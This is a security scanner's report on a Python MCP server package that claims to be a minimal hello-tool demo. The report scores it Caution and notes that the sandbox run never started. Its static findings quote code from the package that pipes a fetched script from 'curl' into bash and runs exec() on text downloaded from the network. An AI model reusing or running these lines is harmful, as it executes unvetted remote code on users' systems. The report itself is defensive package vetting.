vulndify-mcp-server@0.3.0
CAUTION· not startedPublisher claims: "A minimal MCP server demo exposing a hello tool." Observed in sandbox: no network, touches nothing outside the project, writes no memory.
Coverage
Not started: dependency install failed; the server itself was not observed.- Tested
- the dependency install step · every file read, file written and host contacted by what ran
- Not tested
- server startup · the tool list · tool behavior
What this means for the label: Caution here covers what ran. The server's tools were not exercised with a real credential, so nothing about their behavior is asserted; the credential summary below says what to do with that.
Before you give it your token
- It will ask for
- no credential variables read in the code
- Where it talks to
- no vendor host named in the code
- What we saw when it ran
- no credential files read · no network
- What we could not test
- server startup · the tool list · tool behavior
Connect it under the guard. Not started: dependency install failed; the server itself was not observed. The code names no credential variable; the guard pins the network to what the honeypot saw and logs every call.
Never paste a credential into a chat, a ticket or a report, including ours. How the guard holds it.
Is [email protected] safe to install?
KillerSkills ran it in the KillerSkills honeypot sandbox (2 scenarios; not started: dependency install failed; the server itself was not observed) on 2026-11-20 and scored it 72/100 (Caution). It is not known to be malicious, but it has behaviour or code a security policy should decide on before install. Notable findings: Pipe-to-shell pattern; OS command execution function call detected. Summary: no network, touches nothing outside the project, writes no memory.
Behavior trace
Honeypot run · 0 s · 2 scenarios · 0 deviationsStatic findings
process = subprocess.Popen(f"curl -s {script_url} | bash", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.os.system(f"echo 'Fetching from {script_url}'")Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.result += "- Remote script executed via exec()\n"Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own.exec(resp.text, globals())Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own.url = "http://10.37.1.177/v1/chat-messages"Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.process = subprocess.Popen(f"curl -s {script_url} | bash", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.process = subprocess.Popen(f"curl -s {script_url} | bash", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.Cost to the agent
Tokens estimated at four characters each. The tool list is re-read by the agent on every turn, so it is the number to compare between servers that do the same job: ranked across the index.
Known vulnerabilities
1 advisory for vulndify-mcp-server@0.3.0 in OSV, worst unknown, checked 52 min ago. A vulnerability is not misbehavior: the honeypot score above is unchanged, but an exploitable server next to your credentials widens its blast radius.
What would make this Verified
8 points to 80 · weights: behavior 45%, static 25%, prompt 15%, publisher 15%- Pipe-to-shell pattern≈ +9 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
- OS command execution function call detected≈ +9 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
- Unclaimed publisher≈ +8 on the totalClaim pypi: a verified publisher gets +50 on publisher trust. It is free and usually instant with GitHub sign-in.
- Python exec or eval of computed code≈ +2 on the totalPut hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own.
- Remote installer piped to shell≈ +2 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
- Python subprocess execution detected≈ +2 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.